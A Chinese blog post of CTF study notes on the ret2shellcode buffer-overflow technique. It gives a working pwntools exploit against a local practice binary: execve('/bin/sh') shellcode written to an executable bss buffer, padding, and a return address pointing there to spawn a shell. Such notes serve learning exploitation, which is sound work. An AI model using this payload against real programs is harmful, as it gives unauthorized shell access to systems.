一.2_基本rop_ret2shellcode

1.ret2shellcode,即控制程序执行shellcode 代码。shellcode指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的shell
2.在程序没有开启任何权限的时候,我们可以利用shellcode,进行获取我们的shell
3.输入数据然后拷贝到buf2的地方,要是buf2 具有可执行权限,我们这一将shellcode放入,然后读取buf2处的shellcode

 strncpy(buf2, (const char *)&v4, 0x64u);

思考
1.我们可以先将数据先传入,然后ret到我们数据的地方
2.先填充垃圾,然后将ret构造成我们栈的开始位置,重新开始输入shellcode(衍生一下,ret = 刷新环境地址
3.结合vmmap查看我们的bss段是不是具有rxw权限

from pwn import*


p = process('./ret2shellcode')
#shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"

shellcode = asm(shellcraft.sh())   ##获取shellcode
bss_addr = 0x804a080

payload = shellcode.ljust(112, 'A')   #112 = 108 + 4(rbp)
payload += p32(bss_addr)

p.sendline(payload)
p.interactive()
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • Return-Oriented-Programming(ROP FTW) Author: Saif El-Sher...
    RealSys阅读 8,696评论 0 2
  • 看书的时候不要写废话 真正了不起的程序员是对自己程序的每一个字节都了如指掌 黑客密集渗透测试指南第二版学习笔记 1...
    NoviceQAQ阅读 5,382评论 2 3
  • 一、温故而知新 1. 内存不够怎么办 内存简单分配策略的问题地址空间不隔离内存使用效率低程序运行的地址不确定 关于...
    SeanCST阅读 12,367评论 0 27
  • 缓冲区溢出(Buffer Overflow)是计算机安全领域内既经典而又古老的话题。随着计算机系统安全性的加强,传...
    Chivalrous阅读 5,108评论 0 5
  • 最喜欢看你熟睡的样子,像婴孩般那样恬静,安详。三十岁的大男人,却像小孩子一般,心思那般的单纯。 上完刘主编的课程,...
    顾苏橙阅读 1,547评论 6 6